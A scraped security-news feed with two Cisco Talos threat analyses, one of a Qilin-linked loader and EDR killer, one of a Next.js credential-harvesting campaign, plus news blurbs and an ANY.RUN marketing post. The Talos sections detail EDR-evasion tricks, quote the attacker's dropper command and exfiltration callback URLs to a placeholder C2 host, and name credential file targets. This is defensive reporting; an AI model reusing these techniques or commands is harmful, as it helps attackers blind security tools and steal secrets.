The bugs could lead to authentication bypass, remote code execution, information disclosure, and privilege escalation.
The post Cisco Patches Critical and High-Severity Vulnerabilities appeared first on SecurityWeek.
SecurityWeek – Read More
Augmented Marauder’s multipronged banking-Trojan cyber campaigns are targeting Spanish speakers, evading detection, and replicating rapidly.
darkreading – Read More
GitHub developers face rising giveaway scams. Verify repos, links, and maintainers before acting. Avoid rushed clicks, fake rewards, and risky wallet actions.
Hackread – Cybersecurity News, Data Breaches, AI and More – Read More
The AI recruiting firm is investigating the incident as Lapsus$ claimed the theft of 4TB of Mercor data.
The post Mercor Hit by LiteLLM Supply Chain Attack appeared first on SecurityWeek.
SecurityWeek – Read More
This blog post provides an in-depth technical analysis of the malicious dynamic-link library (DLL) “msimg32.dll”, which Cisco Talos observed being deployed in Qilin ransomware attacks. The broader activities and attacks of Qilin was previously introduced and described in the blog post here.
This DLL represents the initial stage of a sophisticated, multi-stage infection chain designed to disable local endpoint detection and response (EDR) solutions present on compromised systems. Figure 1 shows a high-level diagram demonstrating the overall execution flow of this infection chain.
The first stage consists of a PE loader responsible for preparing the execution environment for the EDR killer component. This secondary payload is embedded within the loader in an encrypted form.
The loader implements advanced EDR evasion techniques. It neutralizes user-mode hooks and suppresses Event Tracing for Windows (ETW) event generation at runtime by leveraging a -like approach. Additionally, it makes extensive use of structured exception handling (SEH) and vectored exception handling (VEH) to obscure control flow and conceal API invocation patterns. This enables the EDR killer payload to be decrypted, loaded, and executed entirely in memory without triggering detection by the locally installed EDR solution.
Once active, the EDR killer component loads two helper drivers. The first driver (“rwdrv.sys”) provides access to the system’s physical memory, while the second driver (“hlpdrv.sys”) is used to terminate EDR processes. Prior to loading the second driver, the EDR killer component unregisters monitoring callbacks established by the EDR, ensuring that process termination can proceed without interference.
Overall, the malware is capable of disabling over 300 different EDR drivers across a wide range of vendors. While the campaign has been previously reported by , , and others at a higher level, this analysis focuses on previously undocumented technical details of the infection chain (e.g., the SEH/VEH tricks and the overwriting of certain kernel objects).
The malicious DLL is most likely side-loaded by a legitimate application that imports functions from “msimg32.dll”. To preserve expected functionality, the original API calls are forwarded to the legitimate library located in “C:WindowsSystem32”.
The version of “msimg32.dll” deployed by the threat actor triggers its malicious logic from within its DllMain function. As a result, the payload is executed as soon as the legitimate application loads the DLL.
Sophos also gave some technical and historical insights into this loader in their earlier blog, in which it is referred to as Shanya.
During initialization, the loader allocates a heap buffer in process memory that acts as a slot-policy table.
The size of this buffer is computed as “ntdll.dll” OptionalHeader.SizeOfCode divided by 16 ( SizeOfCode >> 4), resulting in one byte per 16-byte code slot covering the code region as defined by OptionalHeader.SizeOfCode (typically the .text range). Each entry in the table corresponds to a fixed 16-byte block relative to BaseOfCode.
The loader then iterates over the export table of “ntdll.dll”. For each exported function whose name begins with “Nt”, the virtual address of the corresponding syscall stub is resolved. From this address, a slot index is calculated as: slot_idx = (FuncVA – BaseOfCode)/16
This index is used to mark the corresponding entry in the slot-policy table. All Nt* stubs are assigned a default policy, while selected functions are explicitly marked with special policies, including:
NtTraceEventNtTraceControlNtAlpcSendWaitReceivePortThe result is a data-driven classification of relevant syscall stubs without modifying the executable code of “ntdll.dll”. The resulting slot-policy-table appears as follows:
The actual loader function is significantly more complex and incorporates additional obfuscation techniques, such as hash-based API resolution at runtime.
After constructing the table, the sample dynamically resolves ntdll!LdrProtectMrdata, which will be discussed in greater detail later. It then invokes this routine to change the protection of the .mrdata section to writable. This section contains the exception dispatcher callback pointer along with other critical runtime data.
Once the section is writable, the loader overwrites the dispatcher slot with its own custom exception handler. As a result, its routine is executed whenever an exception is triggered.
This function primarily performs two tasks: handling breakpoint exceptions and single-step exceptions.
The handling of breakpoint exceptions (0xCC) is relatively straightforward. It simply resumes execution at the instruction immediately following the INT3 (0xCC). Talos is not certain why this approach was implemented. It may function as a lightweight anti-emulation, anti-analysis, or anti-sandbox mechanism for weak analysis systems, serve as groundwork for more advanced anti-debugging techniques, or act as preparation for future control-flow manipulation similar to the VEH-based logic observed in Stages 2 and 3.
hook_function_ExceptionCallback function.The single-step portion of the function is significantly more complex and is where the previously introduced slot-policy table is utilized. ctx->ntstub_class_map points to the map buffer allocated during initialization.
hook_function_ExceptionCallback function.Simplified the logic of the initialization and dispatch function looks like this in pseudo code. InitCtxAndPatchNtdllMrdataDispatch is the initialization function and hook_function_ExceptionCallback is the dispatch function mentioned above.
The find_syscall routine shown in Figure 7 implements a syscall recovery technique. Details can be found in the picture below. It scans both backward and forward through “ntdll.dll” to locate intact syscall stubs and identify neighboring syscalls that can be repurposed.
The simplified logic is as follows:
eax.By reusing a neighboring syscall stub to invoke the desired system call, the loader bypasses EDR-hooked syscalls without modifying the hooked code itself. The Windows kernel only evaluates the syscall ID in eax; it does not verify which exported API function initiated the call.
find_syscall function.As previously mentioned, the actual code of the malware is more complex (e.g., the aforementioned runtime resolution of ntdll!LdrProtectMrdata).
ntdll!LdrProtectMrdata at runtime.The loader resolves the ntdll!LdrProtectMrdata function in a stealthy way. Instead of resolving LdrProtectMrdata by name or hash, the loader instead:
dispatch_slot) lies inside .mrdataRtlDeleteFunctionTable, located via hash) as an anchorLdrProtectMrdata and stored in ctx->LdrProtectMrdataThe initialization routine described earlier also incorporates several basic anti-debugging measures. For example, it verifies whether a breakpoint has been placed on KiUserExceptionDispatcher. If such a breakpoint is detected, the process is deliberately crashed. This check is performed before the dispatcher is overwritten, which means that the resulting exception is handled by the original, default exception handler.
KiUserExceptionDispatcher breakpoint check.The loader also implements geo-fencing. It excludes systems configured for languages commonly used in post-Soviet countries. This check is performed at an early stage, and the loader terminates if a locale from the exclusion list is detected.
After initializing Stage 1, the loader proceeds to unpack the subsequent stages. It creates a paging file-backed section and maps two views of this section into the process address space. This aspect was not analyzed in depth; however, creating two views of the same section is a common malware technique used to obscure a READ-WRITE-EXECUTABLE memory region. Typically, one view is configured with WRITE access only, masking the effective executable permissions of the underlying section. This shared memory region will contain subsequent malware stages after unpacking them. This also makes it more difficult to dump the memory during analysis. When a virtual memory page is not currently present in RAM (present bit cleared), accessing it triggers a page fault. The kernel then resolves the fault (e.g., by loading the page from the pagefile into physical memory).
CreateFileMappingA resolver function, returns the handle 0x174.
FILE_MAP_WRITE (0x2).
0x24 = FILE_MAP_READ (0x4) | FILE_MAP_EXECUTE (0x20).After creating the views, it copies and decodes bytes into this buffer. The basic block highlighted in green marks the start of this routine, while the red basic block represents the final control transfer (see Figure 17) to the decoded payload. The yellow basic block contains the decision logic that determines when execution transitions to the red basic block.
Inside the red basic block, we have the final jump into the decoded bytes of Stage 2.
Stage 2 (0x2470000) serves solely as a stealthy transition mechanism to transfer execution to Stage 3. As expected, all addresses referenced from this point onward, such as 0x2470000, may vary between executions of the loader, as they are dynamically allocated at runtime.
The initial part of Stage 2 is straightforward: It decodes the data stored in the memory section and then unmaps the previously mapped view. The subsequent function call constitutes the critical step: ctx->FuncPtrHookIAT((ULONGLONG)ctx->hooking_func);
This IAT-hooking routine overwrites the ExitProcess entry in the Import Address Table (IAT) of the main process (i.e., the process that loaded the malicious “msimg32.dll”).
ExitProcess at 0x140017138.As shown in Figure 18, execution returns normally from Stage 2, and DllMain completes without any obvious anomalies. The malicious logic is triggered later, when ExitProcess is invoked by exit_or_terminate_process during process termination. Instead of terminating the process, execution is redirected to function 0x2471000, which corresponds to Stage 3.
Stage 3 primarily decompresses and loads a PE image from memory that was originally embedded within the malicious “msimg32.dll”. It begins by resolving syscall stubs, which are used in subsequent code sections followed by decoding routines.
After several decoding and preparation steps, the PE image is decompressed from memory.
After the PE image has been decompressed, the final routine responsible for preparing, loading, and ultimately executing the PE can be found at 0x24A2CE7 in this run.
The fix_and_load_PE_set_VEH function begins by mapping “shell32.dll” into the process address space using NtCreateFile, NtCreateSection, and MapViewOfFile. It then overwrites the in-memory contents of “shell32.dll” with the previously loaded PE image.
After copying the embedded and decoded PE image into memory, the code manually applies base relocations.
After preparing the PE for in-memory execution, the loader employs a technique similar to Stage 2, but this time leveraging a vectored exception handler (VEH). After registering the VEH, it triggers the handler by setting a hardware breakpoint on ntdll!NtOpenSection. To indirectly invoke NtOpenSection, the loader subsequently loads a fake DLL via a call to the LdrLoadDll API. It appears that the malware author intentionally chose a name referencing a well-known security researcher, likely as a provocative touch.
LdrLoadDll.After several intermediate steps, this results in a call to NtOpenSection, which triggers the previously configured hardware breakpoint and, in turn, invokes the VEH. The first time the VEH is triggered at NtOpenSection, it executes the code in Figure 29.
NtOpenSection handler.It modifies the “shell32.dll” name in memory to “hasherezade_[redacted].dll”, then adjusts RIP in the context record to point to the next ret instruction (0xC3) within the NtOpenSection stub and sets a new hardware breakpoint on NtMapViewOfSection. In addition, it updates the stack pointer to reference LdrpMinimalMapModule+offset, where the offset corresponds to an instruction immediately following a call to NtOpenSection inside LdrpMinimalMapModule. It then invokes NtContinue, which resumes execution at the RIP value stored in the context record (i.e., at the ret instruction). That ret instruction subsequently transfers control to the address prepared on the stack, namely LdrpMinimalMapModule+offset.
cr_1->rsp = LdrpMinimalMapModule+offset
cr_1->rip = ntdll!NtOpenSection+0x14 = ret ; jumps to <rsp> when executed
NtOpenSection.During execution of LdrpMinimalMapModule, a call to NtMapViewOfSection is made, which triggers the hardware breakpoint set by the previous routine. On this occasion, the VEH executes the code in Figure 31.
NtMapViewOfSection handler.It deletes all HW breakpoints and then sets the stackpointer to an address which points to an address in LdrMinimalMapModule+offset. As expected, this is right after a call to NtMapViewOfSection. In other words, the registers in the context are overwritten like this:
ctx->rsp -> ntdll!LdrpMinimalMapModule+0x23b
ctx->rip -> ntdll!NtMapViewOfSection+0x14 = ret
When the return (ret) instruction is reached, it jumps to the address stored in the stack pointer (rsp).
call NtMapViewOfSection.The subsequent code in LdrpMinimalMapModule maps the previously restored PE image into the process address space and prepares it for execution. Finally, control returns to 0x24A3C1E, the instruction immediately following the call that originally triggered the first hardware breakpoint.
LdrLoadDll.After several additional fix-up steps, the loader transfers execution to Stage 4 (i.e., the loaded PE image).
This PE file is an EDR killer capable of disabling over 300 different EDR drivers across a wide range of solutions. A detailed analysis of this component will be provided in the next section.
The first three stages of this binary implement a sophisticated and complex PE loader capable of bypassing common EDR solutions by evading user-mode hooks through carefully crafted SEH and VEH techniques. While these methods are not entirely novel, they remain effective and should be detectable by properly implemented EDR solutions.
The loader decrypts and executes an embedded PE payload in memory. In this campaign, the payload is an EDR killer capable of disabling over 300 different EDR products. This component will be analyzed in detail in the next section.
Besides initialization, the first thing the extracted PE from Stage 3 does is check again if the system locale matches a list of post-Soviet countries and, if it does, it crashes. This is another indicator that former stages are just a custom PE loader, which could be used to load any PE the adversaries want. Otherwise, doing the same check again is not logical.
The malware then attempts to elevate its privileges and load a helper driver. This also implies that the process must be executed with administrative privileges.
The “rwdrv.sys” driver is a renamed version of “ThrottleStop.sys”, originally distributed by TechPowerUp LLC and signed with a valid digital certificate. It is legitimately used by tools such as GPU-Z and ThrottleStop. This is not the first observed abuse of this ; it has previously been leveraged in several malware campaigns.
Despite its benign origin, the driver exposes highly powerful functionality and can be loaded by arbitrary user-mode applications. Critically, it implements these capabilities without enforcing meaningful security checks, making it particularly attractive for abuse.
This driver exposes a low-level hardware access interface to user mode via input/output controls (IOCTLs). It allows a user-mode application to directly interact with system hardware.
The driver implements IOCTL handlers that provide the following capabilities:
Additionally, the driver tracks the number of open handles and associates memory mappings with the calling process ID.
Overall, the driver functions as a generic kernel-mode hardware access layer, exposing primitives for port I/O, MSR access, physical memory mapping, and PCI configuration operations. Such functionality is typically used by hardware diagnostic tools, firmware utilities, or low-level system utilities, but it also provides powerful primitives that could be abused if accessible from unprivileged user-mode.
The two important functions heavily used by the sample are the ability to read and write physical memory.
After loading the driver, the malware proceeds to determine the Windows version. To do so, it first resolves the required API function using a PEB-based lookup routine, a technique consistently employed throughout the sample.
The implementation parses the Process Environment Block (PEB) and locates the target module by finding the hash of its name. Then the ResolveExportByHash function takes the module base from the previously found DLL and parses its PE header to find the function that corresponds to the function hash. It can either provide the API function address as an PE offset or as a virtual address.
After a couple of initializations and checks, it gets the “rwdrv.sys” handle, followed by the EDR-related part of the sample — the kernel tricks which are responsible for avoiding, blinding, and disabling the EDR.
However, let’s have a brief look into the details. It starts with building a vector of physical memory pages. This vector will later be used in subsequent methods.
The SetMemLayoutPointer function in the if statement above leverages the NtQuerySystemInformation API function to gather the Superfetch information about the physical memory pages. It stores a pointer to this information in global variables (mem_layout_v1_ptr or mem_layout_v2_ptr). Which one is used depends on the version variable which is the argument handed over to the function. In our case, 1 is for calling the function the first time and 2 is for the second time. In other words, it brute-forces whichever version works for the Windows system it is running on.
NtQuerySystemInformation call.The BuildSuperfetchPfnMetadataList function is quite large and complex. Simplified, it starts by using the mem_layout pointer to calculate the total page count.
It then ends by using NtQuerySystemInformation again to get the physical pages and their meta data to store this information in a global vector (g_PfnVector).
Back to the block from the above, the next step blinds the EDRs by deleting their callbacks for certain operations (e.g., process creation, thread creation, and image loading events).
The unregister_callbacks function iterates through a list of over 300 driver names which are stored in the sample.
unregister_callbacks function.It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using — in this case, the kernel callback cng!CngCreateProcessNotifyRoutine. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (“rwdrv.sys”) to get the physical memory address of it. The logic and driver communication is implemented in the read_phy_bytes function, and the same for overwriting memory; the write_to_phy_mem function is used to handle the driver communications. The DeviceIoControlImplementation function which talks to the driver is implemented in write_to_phy_mem.
DeviceIoControlImplementation function called in write_to_phy_mem.The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.
The final part of the EDR killer begins by loading another driver (“hlpdrv.sys”).
The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.
Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.
Additionally, it restores the CiValidateImageHeader callback. The RestoreCiValidateImageHeaderCallback function is shown in Figure 57.
This is accomplished using the same concept we previously saw in Figure 52:
CiValidateImageHeader callback.CiValidateImageHeader.Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.
This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.
It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.
The following ClamAV signatures detect and block this threat:
The following SNORT® rules (SIDs) detect and block this threat:
The IOCs for this threat are also available at our GitHub repository here.
msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497
rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0
hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56
EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12
Cisco Talos Blog – Read More
Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily leveraging a collection framework dubbed “NEXUS Listener.” The systematic exploitation and exfiltration campaign has resulted in the compromise of at least 766 hosts, as of time of writing, across multiple geographic regions and cloud providers. The operation is targeting Next.js applications vulnerable to React2Shell (CVE-2025-55182) to gain initial access, then is deploying a multi-phase credential harvesting tool that harvests credentials, SSH keys, cloud tokens, and environment secrets at scale.
The breadth of the victim set and the indiscriminate targeting pattern is consistent with automated scanning — likely based on host profile data from services like Shodan, Censys, or custom scanners to enumerate publicly reachable Next.js deployments and probe them for the described React configuration vulnerabilities.
The core component of the framework is a web application that makes all of the exfiltrated data available to the operator in a graphical interface that includes in-depth statistics and search capabilities to allow them to sift through the compromised data.
This post details the campaign’s methodology, tools, breadth and sensitivity of the exposed data, and the implications for organizations impacted by this activity.
This analysis is based on data collected for security research purposes. Specific credentials and victim identifiers have been withheld from this publication. Talos has informed service providers of exposed and at-risk credentials and is working with industry partners such as GitHub and AWS to quarantine credentials and inform victims.
|
Metric |
Count |
|
Compromised hosts |
766 |
|
Hosts with database credentials |
~701 (91.5%) |
|
Hosts with SSH private keys |
~599 (78.2%) |
|
Hosts with AWS credentials |
~196 (25.6%) |
|
Hosts with shell command history |
~245 (32.0%) |
|
Hosts with live Stripe API keys |
~87 (11.4%) |
|
Hosts with GitHub tokens |
~66 (8.6%) |
|
Total files collected |
10,120 |
UAT-10608 targets public-facing web applications using components, predominately Next.js, that are vulnerable to CVE-2025-55182, broadly referred to as “React2Shell.”
React2Shell is a pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC). RSCs expose Server Function endpoints that accept serialized data from clients. The affected code deserializes payloads from inbound HTTP requests to these endpoints without adequate validation or sanitization.
Once the threat actor identifies a vulnerable endpoint, the automated toolkit takes over. No further manual interaction is required to extract and exfiltrate credentials harvested from the system.
Data is collected via nohup-executed shell scripts dropped in /tmp with randomized names:
/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1
This is consistent with a staged payload delivery model. The initial React exploit delivers a small dropper that fetches and runs the full multi-phase harvesting script. Upon execution, the harvesting script iterates through several phases to collect various data from the compromised system, outlined below:
The framework leverages a meta.json file that tracks execution state:
Following the completion of each collection phase, an HTTP request is made back to the C2 server running the NEXUS Listener component. In most cases, the callback takes place on port 8080 and contains the following parameters:
Some examples of the full URL, executed after each phase:
http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45 http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45 http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45 http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45
After data is exfiltrated from a compromised system and sent back to the C2 infrastructure, it is stored in a database and made available via a web application called NEXUS Listener. In most instances, the web application front end is protected with a password, the prompt for which can be seen in Figure 1.
In at least one instance, the web application was left exposed, revealing a wealth of information, including the inner workings of the application itself, as well as the data that was harvested from compromised systems.
The application contains a listing of several statistics, including the number of hosts compromised and the total number of each credential type that were successfully extracted from those hosts. It also lists the uptime of the application itself. In this case, the automated exploitation and harvesting framework was able to successfully compromise 766 hosts within a 24-hour period.
The web application allows a user to browse through all of the compromised hosts. A given host can then be selected, bringing up a menu with all of the exfiltrated data corresponding to each phase of the harvesting script.
The observed NEXUS Listener instances display “v3” in the title, indicating the application has gone through various stages of development before reaching the currently deployed version.
Cisco Talos was able to obtain data from an unauthenticated NEXUS Listener instance. The following is an analysis of that data, broken down by credential category.
Environment secrets and API keys
The “environ.txt” and “jsenv.txt” files contain the runtime environment of each compromised application process, exposing a variety of third-party API credentials:
SSH private keys
Present in 78% of hosts, the “ssh.txt” files contain complete PEM-encoded private keys (both ED25519 and RSA formats) along with authorized_keys entries. These keys enable lateral movement to any other system that trusts the compromised host’s key identity — a particularly severe finding for organizations with shared key infrastructure or bastion-host architectures.
Cloud credential harvesting
The “aws_full.txt” and “cloud_meta.txt” phases attempt to query the AWS Instance Metadata Service (IMDS), GCP metadata server, and Azure IMDS. For cloud-hosted targets, successful retrieval yields IAM role-associated temporary credentials — credentials that carry whatever permissions were granted to the instance role, which in misconfigured environments can include S3 bucket access, EC2 control plane operations, or secrets manager read access.
Kubernetes service account tokens
The “k8s.txt” phase targets containerized workloads, attempting to read the default service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. A compromised Kubernetes token can allow an attacker to enumerate cluster resources, read secrets from other namespaces, or escalate to cluster-admin depending on RBAC configuration.
Docker container intelligence
For hosts running Docker (approximately 6% of the dataset), the “docker.txt” phase enumerates all running containers, their images, exposed ports, network configurations, mount points, and environment variables. Notable services observed include phpMyAdmin instances, n8n workflow automation, and internal administrative dashboards — all of which are high-value targets for follow-on access.
Shell command history
Command history files reveal operator behavior on compromised systems and other information that could be useful for post-compromise activity. Observed patterns include:
SNORT® ID for CVE-2025-55182, aka React2Shell: 65554
Organizations should investigate for the following artifacts on web application hosts:
IOCs for this threat also available on our GitHub repository here.
144[.]172[.]102[.]88 172[.]86[.]127[.]128 144[.]172[.]112[.]136 144[.]172[.]117[.]112
Cisco Talos Blog – Read More
Reaching a higher level of SOC maturity takes better, more consistent decision-making during malware and phishing investigation.
This requires a shift in how threat intelligence is used: not as a reference point, but as a core layer in the decision process.
Moving from reactive to confidently proactive security means establishing a threat intelligence workflow that:
In this model, threat intelligence becomes part of the SOC’s operational fabric. That’s what ANY.RUN Threat Intelligence is designed for.
It becomes a layer inside your SOC’s operations. A layer that provides behavioral context, workflow support, and data delivery for faster triage, incident response, and threat hunting.
Read further to see how it changes each stage of your SOC operations.
Most threat intelligence today is still delivered as bare indicator feeds, standalone reports, or enrichment tools with fragmented intelligences that exist outside the core SOC workflow.
In this model, threat intelligence behaves as an input, not as part of the system itself. Indicators without context create noise. Context without operationalization creates friction. As a direct outcome, SOCs struggle with:
Human-centered challenges in SOC teams are often not analysts’ fault either. Alert fatigue and unnecessary escalations stem from fragmented, hard-to-access threat data that fails to deliver usable context during investigations.
The path to improvement lies in acquiring actionable threat intelligence that operationalizes SOC tasks and completes the workflow, supporting the entire investigation cycle.
What SOC teams require is actionable intelligence that supports decisions and execution, enabling analysts to move from enrichment to understanding, and from understanding to detection and rapid response.
Where traditional TI may fail because of its fragmented, add-on nature, actionable threat intelligence encompasses the entire malware and phishing investigation cycle by:
This is threat intelligence that doesn’t exist beside your SOC, but an essential operational layer within it that turns repetitive work into a scalable workflow where each detection enhances overall security and proactive protection from similar threats in the future.
A key differentiator of effective threat intelligence is its foundation in live, real-world attack activity.
ANY.RUN Threat Intelligence is built on continuously analyzed data from over 15,000 organizations and 600,000 analysts conducting daily malware and phishing investigations worldwide. This creates a unique, constantly evolving dataset of active threats processed and validated to minimize noise.
| For analysts | Less manual work, faster understanding of threats, confident decisions during triage and investigation |
| For SOC leaders | Improved detection quality, reduced dwell time; consistent, predictable operations across teams |
| For CISOs | Lower risk exposure, better visibility into threats and coverage gaps; stronger confidence in security effectiveness and ROI |
ANY.RUN’s approach to behavioral threat intelligence is built around the idea of treating it not as a dataset but as an operational layer that connects context and action across the SOC lifecycle.
This approach reframes TI from a passive resource into an active component of the SOC system that:
Instead of treating indicators as isolated data points, with Threat Intelligence Lookup (TI Lookup), a solution for instant enrichment and threat research, analysts immediately see how they behave in real attacks. Any artifact (IP, domain, hash, or URL) is enriched with execution context, infrastructure relationships, and associated TTPs.
This allows teams to move from “what is this?” to “how does this operate?” within seconds, improving triage quality and enabling faster, more confident decisions.
Whether through integrations or manual use, threat intelligence from ANY.RUN becomes a part of the SOC investigation cycle that supports early detection and smart decisions.
Threat intelligence becomes particularly valuable when it directly translates into detections. YARA Search enables that by helping analysts test, refine, validate, and create YARA rules to ensure coverage of relevant threats with reduced false positives.
The result is more reliable detections and greater confidence in security controls.
Threat Intelligence Feeds are continuously delivered into existing security pipelines rather than accessed on demand, and that’s how real-time, validated indicators sourced from live attack data flow directly into SIEM, SOAR, and EDR systems, supporting automated detection, correlation, and response.
This reduces manual workload, improves alert quality, and lowers dwell time.
ANY.RUN TI Reports address the partial visibility challenge in SOC teams by providing threat overviews curated by our experts, turning analyst-driven insights into strategic intelligence with threat behaviors, TTPs, and detection opportunities already described and contextualized.
This enables teams to quickly understand emerging risks, validate their coverage, and identify blind spots without investing additional investigation time.
ANY.RUN Threat Intelligence’s goal is not to improve a single step, but to encompass the entire operational cycle.
| SOC Process | ANY.RUN’s Threat Intelligence Action | Outcomes |
|---|---|---|
| Triage and Alert Enrichment | Centralized validation of indicators with immediate context and prioritization; scalability for teams of any size and secure integration | Faster triage, reduced manual enrichment, fewer unnecessary escalations, improved MTTR and FP rate |
| Threat Hunting & Detection Engineering | Behavior-driven search with access to real attack data and analyses; supports conversion of findings into detections | Proactive threat discovery, stronger and more consistent detections, elimination of repetitive work |
| Incident Response | Immediate access to unified threat context across incidents, enabling consistent investigation and decision-making | Faster response, reduced dwell time, lower operational risk |
| SOC Management & Performance | Continuous, real-time intelligence aligned with current threats; visibility into threat landscape and coverage gaps | Improved MTTD/MTTR,measurable SOC performance, clearer ROI, and risk reduction |
High-performing SOCs are defined by how effectively threat intelligence is integrated into their operations.
When threat intelligence components operate as a unified system rather than isolated capabilities, they stop being tools and become part of the SOC’s operational infrastructure.
In this model, Threat Intelligence is:
ANY.RUN provides interactive malware analysis and behavior-driven threat intelligence solutions designed to support real-world SOC operations. The platform enables security teams to understand threats faster, make informed decisions, and operationalize intelligence across detection and response workflows.
Used by over 15,000 organizations and 600,000 security professionals worldwide, ANY.RUN delivers continuously updated intelligence based on live attack analysis. The company is SOC 2 Type II certified, ensuring strong security controls and protection of customer data.
ANY.RUN Threat Intelligence features TI Lookup, TI Feeds, TI Reports, and YARA Search as a unified, behavior-driven intelligence layer that connects indicators with malware behavior, TTPs, and artifacts—supporting decision-making across SOC workflows.
Traditional feeds primarily deliver indicators. ANY.RUN’s TI provides context, behavioral analysis, and enables conversion into detections, while continuously integrating into SOC processes.
It is built on real-time analysis data from over 15,000 organizations and 600,000 analysts conducting malware and phishing investigations worldwide.
By reducing manual enrichment, accelerating triage and response, improving detection quality, and enabling more consistent, data-driven decisions.
Yes. It is designed to be used both manually by analysts and automatically via integrations with SIEM, SOAR, EDR, and other platforms.
By providing early visibility into emerging threats, improving detection coverage, and shortening the time between threat emergence and response.
The post From Reactive to Proactive: 5 Steps to SOC Maturity with Threat Intelligence appeared first on ANY.RUN’s Cybersecurity Blog.
ANY.RUN’s Cybersecurity Blog – Read More
Apple on Wednesday expanded the availability of iOS 18.7.7 and iPadOS 18.7.7 to a broader range of devices to protect users from the risk posed by a recently disclosed exploit kit known as DarkSword.
“We enabled the availability of iOS 18.7.7 for more devices on April 1, 2026, so users with Automatic Updates turned on can automatically receive important security
The Hacker News – Read More
Variance has raised a total of $26 million in funding and the latest investment will fuel platform growth.
The post Variance Raises $21.5M for Compliance Investigation Platform Powered by AI Agents appeared first on SecurityWeek.
SecurityWeek – Read More
The company will accelerate product development, scale go-to-market efforts, and expand its global footprint.
The post Linx Security Raises $50 Million for Identity Security and Governance appeared first on SecurityWeek.
SecurityWeek – Read More